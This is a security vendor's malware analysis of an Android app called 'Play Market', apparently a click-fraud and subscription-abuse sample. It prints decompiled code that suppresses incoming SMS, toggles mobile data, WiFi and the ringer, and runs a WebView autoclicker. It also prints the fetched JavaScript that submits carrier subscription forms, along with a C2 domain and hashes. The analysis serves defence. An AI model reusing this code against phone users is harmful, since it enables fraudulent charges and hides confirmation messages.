At the start of August, zLabs decided to take a look at some previously unknown malware samples that Zimperium’s z9 machine learning-based engine detected in the first half of the year. z9 for Mobile Malware is the only machine learning-based engine capable of detecting previously unknown malware on-device in real-time. One of these apps, “Play Market”, seems to be part of a campaign targeted at monetization through the abuse of advertisements and subscriptions. To help illustrate the threat of apps loaded outside of the Play Store, our analysis of Play Market follows.
Play Market shows a collection of interesting behaviors that are clearly designed for persistence and to trick users into starting the execution the first time, namely:
<receiver android:name="com.tosveokrtbv.xjortnrkl.Broadcast"> |
<intent-filter> |
<action android:name="android.provider.Telephony.SMS_RECEIVED"/> |
</intent-filter> |
</receiver> |
public class Broadcast extends BroadcastReceiver { |
public void onReceive(Context context, Intent intent) { |
abortBroadcast(); |
} |
} |
public void setMobileDataEnabled(boolean mobileDataEnabled) { |
try { |
Object connectivityManager = this.ctx.getSystemService("connectivity"); |
Field mServiceField = Class.forName(connectivityManager.getClass().getName()).getDeclaredField("mService"); |
mServiceField.setAccessible(true); |
connectivityManager = mServiceField.get(connectivityManager); |
Method setMobileDataEnabledMethod = Class.forName(connectivityManager.getClass().getName()).getDeclaredMethod("setMobileDataEnabled", Boolean.TYPE); |
setMobileDataEnabledMethod.setAccessible(true); |
setMobileDataEnabledMethod.invoke(connectivityManager, Boolean.valueOf(mobileDataEnabled)); |
} |
catch(Exception ex) { |
ex.printStackTrace(); |
} |
} |
public void setWifiEnabled(boolean wifiEnabled) { |
this.ctx.getApplicationContext().getSystemService("wifi").setWifiEnabled(wifiEnabled); |
} |
public void set_RINGER_MODE_SILENT() { |
this.ctx.getSystemService("audio").setRingerMode(RINGER_MODE_SILENT); |
} |
The aforementioned list of interesting techniques is actively combined with the main chain of events executed by the application:
public void autoclick(String URL, String RESPONSE) { |
WebView webView = new WebView(this.ctx); |
webView.getSettings().setJavaScriptEnabled(true); |
webView.loadUrl(URL, this.setupXRequestedWith()); |
webView.setWebViewClient(new WebViewClient(webView) { |
int count; |
public void onPageFinished(WebView webView, String URL) { |
++this.count; |
String[] lines = this.RESPONSE.split("\\|\\|\\|"); |
int i; |
for(i = 0; i < lines.length; ++i) { |
String[] values = lines[i].split("\\|\\|"); |
if((URL.contains(values[0])) && this.count < Integer.parseInt(values[1])) { |
this.webView.loadUrl(values[2]); |
return; |
} |
} |
} |
public boolean shouldOverrideUrlLoading(WebView webView, String URL) { |
webView.loadUrl(URL, this.c2connection.setupXRequestedWith()); |
return true; |
} |
}); |
} |
The following is an example of downloaded JavaScript code. After splitting on the ||| separator (which is used as lines separator) and the || separator (which is used as elements separator), we obtain the following:
Line 1: |
Page: /cdp.beeline |
Count: 7 |
JS Code: |
javascript:document.getElementsByTagName('button')[0].click(); |
Line 2: |
Page: lp1.tele |
Count: 6 |
JS Code: |
javascript:frm.ButtonOK.value = 'OK'; |
javascript:frm.resultForm.value = 'OK'; |
javascript:frm.submit(); |
Line 3: |
Page: lp.tele |
Count: 6 |
JS Code: |
javascript:frm.ButtonOK.value = 'OK'; |
javascript:frm.resultForm.value = 'OK'; |
javascript:frm.submit(); |
Line 4: |
Page: ssl.mts |
Count: 14 |
JS Code: |
javascript:document.getElementById('ButtonSubmit').click(); |
Line 5: |
Page: /api/v1/tmpurl/ |
Count: 14 |
JS Code: |
javascript:document.getElementsByTagName('a')[1].click(); |
As can be seen, it contains ad-hoc written javascript calls to fill forms and click buttons. This kind of code is traditionally used by clickers. Also, it contains several URLs proving that the author is trying to trigger particular events in carefully selected sites.
Although completely unrelated to the main execution chain, the application includes a file named htrerfgh (md5 e80e8801bebf93fd26c37cca85f32cb6) in the Assets folder. It turned out to be an MP4 video with a few seconds of the “Never Gonna Give You Up” song by Rick Astley, and after some seconds, the face of Rick Astley is changed to the face of Rick Harrison.
During dynamic analysis, some domains have been contacted by the malware, either during the configuration phase or during the execution of the advertisement and subscription auto-click tasks, and they change based on the localization of the request.
The configuration domain embedded in the APK is cpw.00xff.net, while some of the domains contacted for advertising and subscription are:
The hashes of the sample are:
Application Name: Play Market
Package Name: com.tosveokrtbv.xjortnrkl
SHA256: 38dead873bc40db7c6ecfc57c24b33758c4443a62cb179378401f1796cf3c11c
Availability: The sample wasn’t available on the Play Store and is not available on VirusTotal
Initial z9 Detection: Detected by z9 for Malware on January 1st, 2018
Like it has for numerous other samples this year, Zimperium’s z9 machine learning-based engine detected these samples while other vendors did not… both at initial sample time and even currently.